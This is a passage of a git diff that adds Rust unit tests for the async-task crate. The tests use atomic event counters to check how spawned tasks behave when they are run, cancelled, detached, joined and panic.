$drop.fetch_add(1, Ordering::SeqCst); + } + } + + let guard = Guard(Box::new(0)); + move |_runnable| { + let _ = &guard; + $sched.fetch_add(1, Ordering::SeqCst); + } + }; + }; +} + +fn try_await(f: impl Future) -> Option { + future::block_on(future::poll_once(f)) +} + +#[test] +fn drop_and_detach() { + future!(f, POLL, DROP_F); + schedule!(s, SCHEDULE, DROP_S); + let (runnable, task) = async_task::spawn(f, s); + + assert_eq!(POLL.load(Ordering::SeqCst), 0); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + + drop(runnable); + assert_eq!(POLL.load(Ordering::SeqCst), 0); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + + task.detach(); + assert_eq!(POLL.load(Ordering::SeqCst), 0); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); +} + +#[test] +fn detach_and_drop() { + future!(f, POLL, DROP_F); + schedule!(s, SCHEDULE, DROP_S); + let (runnable, task) = async_task::spawn(f, s); + + task.detach(); + assert_eq!(POLL.load(Ordering::SeqCst), 0); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + + drop(runnable); + assert_eq!(POLL.load(Ordering::SeqCst), 0); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); +} + +#[test] +fn detach_and_run() { + future!(f, POLL, DROP_F); + schedule!(s, SCHEDULE, DROP_S); + let (runnable, task) = async_task::spawn(f, s); + + task.detach(); + assert_eq!(POLL.load(Ordering::SeqCst), 0); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + + runnable.run(); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); +} + +#[test] +fn run_and_detach() { + future!(f, POLL, DROP_F); + schedule!(s, SCHEDULE, DROP_S); + let (runnable, task) = async_task::spawn(f, s); + + runnable.run(); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + + task.detach(); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); +} + +#[test] +fn cancel_and_run() { + future!(f, POLL, DROP_F); + schedule!(s, SCHEDULE, DROP_S); + let (runnable, task) = async_task::spawn(f, s); + + drop(task); + assert_eq!(POLL.load(Ordering::SeqCst), 0); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + + runnable.run(); + assert_eq!(POLL.load(Ordering::SeqCst), 0); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); +} + +#[test] +fn run_and_cancel() { + future!(f, POLL, DROP_F); + schedule!(s, SCHEDULE, DROP_S); + let (runnable, task) = async_task::spawn(f, s); + + runnable.run(); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + + drop(task); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); +} + +#[test] +fn cancel_join() { + future!(f, POLL, DROP_F); + schedule!(s, SCHEDULE, DROP_S); + let (runnable, mut task) = async_task::spawn(f, s); + + assert!(try_await(&mut task).is_none()); + assert_eq!(POLL.load(Ordering::SeqCst), 0); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + + runnable.run(); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + + assert!(try_await(&mut task).is_some()); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + + drop(task); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); +} + +#[test] +fn schedule() { + let (s, r) = flume::unbounded(); + let schedule = move |runnable| s.send(runnable).unwrap(); + let (runnable, _task) = async_task::spawn(future::poll_fn(|_| Poll::<()>::Pending), schedule); + + assert!(r.is_empty()); + runnable.schedule(); + + let runnable = r.recv().unwrap(); + assert!(r.is_empty()); + runnable.schedule(); + + let runnable = r.recv().unwrap(); + assert!(r.is_empty()); + runnable.schedule(); + + r.recv().unwrap(); +} + +#[test] +fn schedule_counter() { + static COUNT: AtomicUsize = AtomicUsize::new(0); + + let (s, r) = flume::unbounded(); + let schedule = move |runnable: Runnable| { + COUNT.fetch_add(1, Ordering::SeqCst); + s.send(runnable).unwrap(); + }; + let (runnable, _task) = async_task::spawn(future::poll_fn(|_| Poll::<()>::Pending), schedule); + runnable.schedule(); + + r.recv().unwrap().schedule(); + r.recv().unwrap().schedule(); + assert_eq!(COUNT.load(Ordering::SeqCst), 3); + r.recv().unwrap(); +} + +#[test] +fn drop_inside_schedule() { + struct DropGuard(AtomicUsize); + impl Drop for DropGuard { + fn drop(&mut self) { + self.0.fetch_add(1, Ordering::SeqCst); + } + } + let guard = DropGuard(AtomicUsize::new(0)); + + let (runnable, _) = async_task::spawn(async {}, move |runnable| { + assert_eq!(guard.0.load(Ordering::SeqCst), 0); + drop(runnable); + assert_eq!(guard.0.load(Ordering::SeqCst), 0); + }); + runnable.schedule(); +} + +#[test] +fn waker() { + let (s, r) = flume::unbounded(); + let schedule = move |runnable| s.send(runnable).unwrap(); + let (runnable, _task) = async_task::spawn(future::poll_fn(|_| Poll::<()>::Pending), schedule); + + assert!(r.is_empty()); + let waker = runnable.waker(); + runnable.run(); + waker.wake_by_ref(); + + let runnable = r.recv().unwrap(); + runnable.run(); + waker.wake(); + r.recv().unwrap(); +} + +#[test] +fn raw() { + // Dispatch schedules a function for execution at a later point. For tests, we execute it straight away. + fn dispatch(trampoline: extern "C" fn(NonNull<()>), context: NonNull<()>) { + trampoline(context) + } + extern "C" fn trampoline(runnable: NonNull<()>) { + let task = unsafe { Runnable::<()>::from_raw(runnable) }; + task.run(); + } + + let task_got_executed = Arc::new(AtomicBool::new(false)); + let (runnable, _handle) = async_task::spawn( + { + let task_got_executed = task_got_executed.clone(); + async move { task_got_executed.store(true, Ordering::SeqCst) } + }, + |runnable: Runnable<()>| dispatch(trampoline, runnable.into_raw()), + ); + runnable.schedule(); + + assert!(task_got_executed.load(Ordering::SeqCst)); +} diff --git a/lib/malio/async-task/tests/cancel.rs b/lib/malio/async-task/tests/cancel.rs new file mode 100644 index 0000000..0333367 --- /dev/null +++ b/lib/malio/async-task/tests/cancel.rs @@ -0,0 +1,183 @@ +use std::future::Future; +use std::pin::Pin; +use std::sync::atomic::{AtomicUsize, Ordering}; +use std::task::{Context, Poll}; +use std::thread; +use std::time::Duration; + +use async_task::Runnable; +use easy_parallel::Parallel; +use smol::future; + +// Creates a future with event counters. +// +// Usage: `future!(f, POLL, DROP_F, DROP_T)` +// +// The future `f` outputs `Poll::Ready`. +// When it gets polled, `POLL` is incremented. +// When it gets dropped, `DROP_F` is incremented. +// When the output gets dropped, `DROP_T` is incremented. +macro_rules! future { + ($name:pat, $poll:ident, $drop_f:ident, $drop_t:ident) => { + static $poll: AtomicUsize = AtomicUsize::new(0); + static $drop_f: AtomicUsize = AtomicUsize::new(0); + static $drop_t: AtomicUsize = AtomicUsize::new(0); + + let $name = { + struct Fut(#[allow(dead_code)] Box); + + impl Future for Fut { + type Output = Out; + + fn poll(self: Pin<&mut Self>, _cx: &mut Context<'_>) -> Poll { + $poll.fetch_add(1, Ordering::SeqCst); + thread::sleep(ms(400)); + Poll::Ready(Out(Box::new(0), true)) + } + } + + impl Drop for Fut { + fn drop(&mut self) { + $drop_f.fetch_add(1, Ordering::SeqCst); + } + } + + #[derive(Default)] + struct Out(#[allow(dead_code)] Box, bool); + + impl Drop for Out { + fn drop(&mut self) { + if self.1 { + $drop_t.fetch_add(1, Ordering::SeqCst); + } + } + } + + Fut(Box::new(0)) + }; + }; +} + +// Creates a schedule function with event counters. +// +// Usage: `schedule!(s, SCHED, DROP)` +// +// The schedule function `s` does nothing. +// When it gets invoked, `SCHED` is incremented. +// When it gets dropped, `DROP` is incremented. +macro_rules! schedule { + ($name:pat, $sched:ident, $drop:ident) => { + static $drop: AtomicUsize = AtomicUsize::new(0); + static $sched: AtomicUsize = AtomicUsize::new(0); + + let $name = { + struct Guard(#[allow(dead_code)] Box); + + impl Drop for Guard { + fn drop(&mut self) { + $drop.fetch_add(1, Ordering::SeqCst); + } + } + + let guard = Guard(Box::new(0)); + move |runnable: Runnable| { + let _ = &guard; + runnable.schedule(); + $sched.fetch_add(1, Ordering::SeqCst); + } + }; + }; +} + +fn ms(ms: u64) -> Duration { + Duration::from_millis(ms) +} + +#[test] +fn run_and_cancel() { + future!(f, POLL, DROP_F, DROP_T); + schedule!(s, SCHEDULE, DROP_S); + let (runnable, task) = async_task::spawn(f, s); + + runnable.run(); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_T.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + + assert!(future::block_on(task.cancel()).is_some()); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_T.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); +} + +#[test] +fn cancel_and_run() { + future!(f, POLL, DROP_F, DROP_T); + schedule!(s, SCHEDULE, DROP_S); + let (runnable, task) = async_task::spawn(f, s); + + Parallel::new() + .add(|| { + thread::sleep(ms(200)); + runnable.run(); + + assert_eq!(POLL.load(Ordering::SeqCst), 0); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_T.load(Ordering::SeqCst), 0); + + thread::sleep(ms(200)); + + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + }) + .add(|| { + assert!(future::block_on(task.cancel()).is_none()); + + thread::sleep(ms(200)); + + assert_eq!(POLL.load(Ordering::SeqCst), 0); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_T.load(Ordering::SeqCst), 0); + + thread::sleep(ms(200)); + + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + }) + .run(); +} + +#[test] +fn cancel_during_run() { + future!(f, POLL, DROP_F, DROP_T); + schedule!(s, SCHEDULE, DROP_S); + let (runnable, task) = async_task::spawn(f, s); + + Parallel::new() + .add(|| { + runnable.run(); + + thread::sleep(ms(200)); + + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_T.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + }) + .add(|| { + thread::sleep(ms(200)); + + assert!(future::block_on(task.cancel()).is_none()); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_T.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + }) + .run(); +} diff --git a/lib/malio/async-task/tests/join.rs b/lib/malio/async-task/tests/join.rs new file mode 100644 index 0000000..089b5c1 --- /dev/null +++ b/lib/malio/async-task/tests/join.rs @@ -0,0 +1,386 @@ +use std::cell::Cell; +use std::future::Future; +use std::panic::{catch_unwind, AssertUnwindSafe}; +use std::pin::Pin; +use std::sync::atomic::{AtomicUsize, Ordering}; +use std::task::{Context, Poll}; +use std::thread; +use std::time::Duration; + +use async_task::Runnable; +use easy_parallel::Parallel; +use smol::future; + +// Creates a future with event counters. +// +// Usage: `future!(f, POLL, DROP_F, DROP_T)` +// +// The future `f` outputs `Poll::Ready`. +// When it gets polled, `POLL` is incremented. +// When it gets dropped, `DROP_F` is incremented. +// When the output gets dropped, `DROP_T` is incremented. +macro_rules! future { + ($name:pat, $poll:ident, $drop_f:ident, $drop_t:ident) => { + static $poll: AtomicUsize = AtomicUsize::new(0); + static $drop_f: AtomicUsize = AtomicUsize::new(0); + static $drop_t: AtomicUsize = AtomicUsize::new(0); + + let $name = { + struct Fut(#[allow(dead_code)] Box); + + impl Future for Fut { + type Output = Out; + + fn poll(self: Pin<&mut Self>, _cx: &mut Context<'_>) -> Poll { + $poll.fetch_add(1, Ordering::SeqCst); + Poll::Ready(Out(Box::new(0), true)) + } + } + + impl Drop for Fut { + fn drop(&mut self) { + $drop_f.fetch_add(1, Ordering::SeqCst); + } + } + + #[derive(Default)] + struct Out(#[allow(dead_code)] Box, bool); + + impl Drop for Out { + fn drop(&mut self) { + if self.1 { + $drop_t.fetch_add(1, Ordering::SeqCst); + } + } + } + + Fut(Box::new(0)) + }; + }; +} + +// Creates a schedule function with event counters. +// +// Usage: `schedule!(s, SCHED, DROP)` +// +// The schedule function `s` does nothing. +// When it gets invoked, `SCHED` is incremented. +// When it gets dropped, `DROP` is incremented. +macro_rules! schedule { + ($name:pat, $sched:ident, $drop:ident) => { + static $drop: AtomicUsize = AtomicUsize::new(0); + static $sched: AtomicUsize = AtomicUsize::new(0); + + let $name = { + struct Guard(#[allow(dead_code)] Box); + + impl Drop for Guard { + fn drop(&mut self) { + $drop.fetch_add(1, Ordering::SeqCst); + } + } + + let guard = Guard(Box::new(0)); + move |runnable: Runnable| { + let _ = &guard; + runnable.schedule(); + $sched.fetch_add(1, Ordering::SeqCst); + } + }; + }; +} + +fn ms(ms: u64) -> Duration { + Duration::from_millis(ms) +} + +#[test] +fn drop_and_join() { + future!(f, POLL, DROP_F, DROP_T); + schedule!(s, SCHEDULE, DROP_S); + let (runnable, task) = async_task::spawn(f, s); + + assert_eq!(DROP_T.load(Ordering::SeqCst), 0); + + drop(runnable); + assert_eq!(DROP_T.load(Ordering::SeqCst), 0); + + assert!(catch_unwind(|| future::block_on(task)).is_err()); + assert_eq!(POLL.load(Ordering::SeqCst), 0); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + assert_eq!(DROP_T.load(Ordering::SeqCst), 0); +} + +#[test] +fn run_and_join() { + future!(f, POLL, DROP_F, DROP_T); + schedule!(s, SCHEDULE, DROP_S); + let (runnable, task) = async_task::spawn(f, s); + + assert_eq!(DROP_T.load(Ordering::SeqCst), 0); + + runnable.run(); + assert_eq!(DROP_T.load(Ordering::SeqCst), 0); + + assert!(catch_unwind(|| future::block_on(task)).is_ok()); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + assert_eq!(DROP_T.load(Ordering::SeqCst), 1); +} + +#[test] +fn detach_and_run() { + future!(f, POLL, DROP_F, DROP_T); + schedule!(s, SCHEDULE, DROP_S); + let (runnable, task) = async_task::spawn(f, s); + + assert_eq!(DROP_T.load(Ordering::SeqCst), 0); + + task.detach(); + assert_eq!(DROP_T.load(Ordering::SeqCst), 0); + + runnable.run(); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + assert_eq!(DROP_T.load(Ordering::SeqCst), 1); +} + +#[test] +fn join_twice() { + future!(f, POLL, DROP_F, DROP_T); + schedule!(s, SCHEDULE, DROP_S); + let (runnable, mut task) = async_task::spawn(f, s); + + assert_eq!(DROP_T.load(Ordering::SeqCst), 0); + + runnable.run(); + assert_eq!(DROP_T.load(Ordering::SeqCst), 0); + + future::block_on(&mut task); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(DROP_T.load(Ordering::SeqCst), 1); + + assert!(catch_unwind(AssertUnwindSafe(|| future::block_on(&mut task))).is_err()); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(DROP_T.load(Ordering::SeqCst), 1); + + task.detach(); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); +} + +#[test] +fn join_and_cancel() { + future!(f, POLL, DROP_F, DROP_T); + schedule!(s, SCHEDULE, DROP_S); + let (runnable, task) = async_task::spawn(f, s); + + Parallel::new() + .add(|| { + thread::sleep(ms(200)); + drop(runnable); + + thread::sleep(ms(400)); + assert_eq!(POLL.load(Ordering::SeqCst), 0); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_T.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + }) + .add(|| { + assert!(catch_unwind(|| future::block_on(task)).is_err()); + assert_eq!(POLL.load(Ordering::SeqCst), 0); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + + thread::sleep(ms(200)); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_T.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + }) + .run(); +} + +#[test] +fn join_and_run() { + future!(f, POLL, DROP_F, DROP_T); + schedule!(s, SCHEDULE, DROP_S); + let (runnable, task) = async_task::spawn(f, s); + + Parallel::new() + .add(|| { + thread::sleep(ms(400)); + + runnable.run(); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + + thread::sleep(ms(200)); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + }) + .add(|| { + future::block_on(task); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_T.load(Ordering::SeqCst), 1); + + thread::sleep(ms(200)); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + }) + .run(); +} + +#[test] +fn try_join_and_run_and_join() { + future!(f, POLL, DROP_F, DROP_T); + schedule!(s, SCHEDULE, DROP_S); + let (runnable, mut task) = async_task::spawn(f, s); + + Parallel::new() + .add(|| { + thread::sleep(ms(400)); + + runnable.run(); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + + thread::sleep(ms(200)); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + }) + .add(|| { + future::block_on(future::or(&mut task, future::ready(Default::default()))); + assert_eq!(POLL.load(Ordering::SeqCst), 0); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(DROP_T.load(Ordering::SeqCst), 0); + + future::block_on(task); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_T.load(Ordering::SeqCst), 1); + + thread::sleep(ms(200)); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + }) + .run(); +} + +#[test] +fn try_join_and_cancel_and_run() { + future!(f, POLL, DROP_F, DROP_T); + schedule!(s, SCHEDULE, DROP_S); + let (runnable, mut task) = async_task::spawn(f, s); + + Parallel::new() + .add(|| { + thread::sleep(ms(200)); + + runnable.run(); + assert_eq!(POLL.load(Ordering::SeqCst), 0); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + }) + .add(|| { + future::block_on(future::or(&mut task, future::ready(Default::default()))); + assert_eq!(POLL.load(Ordering::SeqCst), 0); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(DROP_T.load(Ordering::SeqCst), 0); + + drop(task); + assert_eq!(POLL.load(Ordering::SeqCst), 0); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(DROP_T.load(Ordering::SeqCst), 0); + }) + .run(); +} + +#[test] +fn try_join_and_run_and_cancel() { + future!(f, POLL, DROP_F, DROP_T); + schedule!(s, SCHEDULE, DROP_S); + let (runnable, mut task) = async_task::spawn(f, s); + + Parallel::new() + .add(|| { + thread::sleep(ms(200)); + + runnable.run(); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + }) + .add(|| { + future::block_on(future::or(&mut task, future::ready(Default::default()))); + assert_eq!(POLL.load(Ordering::SeqCst), 0); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + assert_eq!(DROP_T.load(Ordering::SeqCst), 0); + + thread::sleep(ms(400)); + + drop(task); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + assert_eq!(DROP_T.load(Ordering::SeqCst), 1); + }) + .run(); +} + +#[test] +fn await_output() { + struct Fut(Cell>); + + impl Fut { + fn new(t: T) -> Fut { + Fut(Cell::new(Some(t))) + } + } + + impl Future for Fut { + type Output = T; + + fn poll(self: Pin<&mut Self>, _cx: &mut Context<'_>) -> Poll { + Poll::Ready(self.0.take().unwrap()) + } + } + + for i in 0..10 { + let (runnable, task) = async_task::spawn(Fut::new(i), drop); + runnable.run(); + assert_eq!(future::block_on(task), i); + } + + for i in 0..10 { + let (runnable, task) = async_task::spawn(Fut::new(vec![7; i]), drop); + runnable.run(); + assert_eq!(future::block_on(task), vec![7; i]); + } + + let (runnable, task) = async_task::spawn(Fut::new("foo".to_string()), drop); + runnable.run(); + assert_eq!(future::block_on(task), "foo"); +} diff --git a/lib/malio/async-task/tests/metadata.rs b/lib/malio/async-task/tests/metadata.rs new file mode 100644 index 0000000..d3d8d53 --- /dev/null +++ b/lib/malio/async-task/tests/metadata.rs @@ -0,0 +1,58 @@ +use async_task::{Builder, Runnable}; +use flume::unbounded; +use smol::future; + +use std::sync::atomic::{AtomicUsize, Ordering}; + +#[test] +fn metadata_use_case() { + // Each future has a counter that is incremented every time it is scheduled. + let (sender, receiver) = unbounded::>(); + let schedule = move |runnable: Runnable| { + runnable.metadata().fetch_add(1, Ordering::SeqCst); + sender.send(runnable).ok(); + }; + + async fn my_future(counter: &AtomicUsize) { + loop { + // Loop until we've been scheduled five times. + let count = counter.load(Ordering::SeqCst); + if count < 5 { + // Make sure that we are immediately scheduled again. + future::yield_now().await; + continue; + } + + // We've been scheduled five times, so we're done. + break; + } + } + + let make_task = || { + // SAFETY: We are spawning a non-'static future, so we need to use the unsafe API. + // The borrowed variables, in this case the metadata, are guaranteed to outlive the runnable. + let (runnable, task) = unsafe { + Builder::new() + .metadata(AtomicUsize::new(0)) + .spawn_unchecked(my_future, schedule.clone()) + }; + + runnable.schedule(); + task + }; + + // Make tasks. + let t1 = make_task(); + let t2 = make_task(); + + // Run the tasks. + while let Ok(runnable) = receiver.try_recv() { + runnable.run(); + } + + // Unwrap the tasks. + smol::future::block_on(async move { + t1.await; + t2.await; + }); +} diff --git a/lib/malio/async-task/tests/panic.rs b/lib/malio/async-task/tests/panic.rs new file mode 100644 index 0000000..726e385 --- /dev/null +++ b/lib/malio/async-task/tests/panic.rs @@ -0,0 +1,234 @@ +use std::future::Future; +use std::panic::catch_unwind; +use std::pin::Pin; +use std::sync::atomic::{AtomicUsize, Ordering}; +use std::task::{Context, Poll}; +use std::thread; +use std::time::Duration; + +use async_task::Runnable; +use easy_parallel::Parallel; +use smol::future; + +// Creates a future with event counters. +// +// Usage: `future!(f, POLL, DROP)` +// +// The future `f` sleeps for 200 ms and then panics. +// When it gets polled, `POLL` is incremented. +// When it gets dropped, `DROP` is incremented. +macro_rules! future { + ($name:pat, $poll:ident, $drop:ident) => { + static $poll: AtomicUsize = AtomicUsize::new(0); + static $drop: AtomicUsize = AtomicUsize::new(0); + + let $name = { + struct Fut(#[allow(dead_code)] Box); + + impl Future for Fut { + type Output = (); + + fn poll(self: Pin<&mut Self>, _cx: &mut Context<'_>) -> Poll { + $poll.fetch_add(1, Ordering::SeqCst); + thread::sleep(ms(400)); + panic!() + } + } + + impl Drop for Fut { + fn drop(&mut self) { + $drop.fetch_add(1, Ordering::SeqCst); + } + } + + Fut(Box::new(0)) + }; + }; +} + +// Creates a schedule function with event counters. +// +// Usage: `schedule!(s, SCHED, DROP)` +// +// The schedule function `s` does nothing. +// When it gets invoked, `SCHED` is incremented. +// When it gets dropped, `DROP` is incremented. +macro_rules! schedule { + ($name:pat, $sched:ident, $drop:ident) => { + static $drop: AtomicUsize = AtomicUsize::new(0); + static $sched: AtomicUsize = AtomicUsize::new(0); + + let $name = { + struct Guard(#[allow(dead_code)] Box); + + impl Drop for Guard { + fn drop(&mut self) { + $drop.fetch_add(1, Ordering::SeqCst); + } + } + + let guard = Guard(Box::new(0)); + move |_runnable: Runnable| { + let _ = &guard; + $sched.fetch_add(1, Ordering::SeqCst); + } + }; + }; +} + +fn ms(ms: u64) -> Duration { + Duration::from_millis(ms) +} + +#[test] +fn cancel_during_run() { + future!(f, POLL, DROP_F); + schedule!(s, SCHEDULE, DROP_S); + let (runnable, task) = async_task::spawn(f, s); + + Parallel::new() + .add(|| { + assert!(catch_unwind(|| runnable.run()).is_err()); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 1); + }) + .add(|| { + thread::sleep(ms(200)); + + drop(task); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 0); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + }) + .run(); +} + +#[test] +fn run_and_join() { + future!(f, POLL, DROP_F); + schedule!(s, SCHEDULE, DROP_S); + let (runnable, task) = async_task::spawn(f, s); + + assert!(catch_unwind(|| runnable.run()).is_err()); + assert_eq!(POLL.load(Ordering::SeqCst), 1); + assert_eq!(SCHEDULE.load(Ordering::SeqCst), 0); + assert_eq!(DROP_F.load(Ordering::SeqCst), 1); + assert_eq!(DROP_S.load(Ordering::SeqCst), 0); + + assert!(catch_unwind(|| future::block_on(task)).is_err()); 